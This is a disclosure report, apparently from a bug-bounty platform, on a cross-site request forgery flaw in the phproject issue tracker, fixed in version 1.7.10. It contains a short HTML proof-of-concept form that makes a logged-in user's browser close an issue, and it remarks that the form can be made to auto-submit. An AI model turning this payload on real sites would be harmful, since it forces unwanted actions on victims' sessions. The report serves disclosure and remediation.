Cross-Site Request Forgery (CSRF) in alanaktion/phproject
Reported on
Aug 2nd 2021
✍️ Description
Attacker able to close any issue with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can close a issue, this means only with visiting a site a issue will be closed.
🕵️♂️ Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/phproject/issues/close/1">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Here a issues with id equal to 1
will be closed after clicking on submit button on PoC.html file.
Also for real attacks the submit button can be auto-submit.
💥 Impact
This vulnerability is capable of close any issue.
Fix
set a token with a length bigger that 16 characters then attacker never can guess the url.
Also you cat turn Lax
to Strict
in cookies.
📍 Location
index.php#L1
Occurrences
Fixed in the published 1.7.10 update, details in GHSA-3xfh-h685-w25m.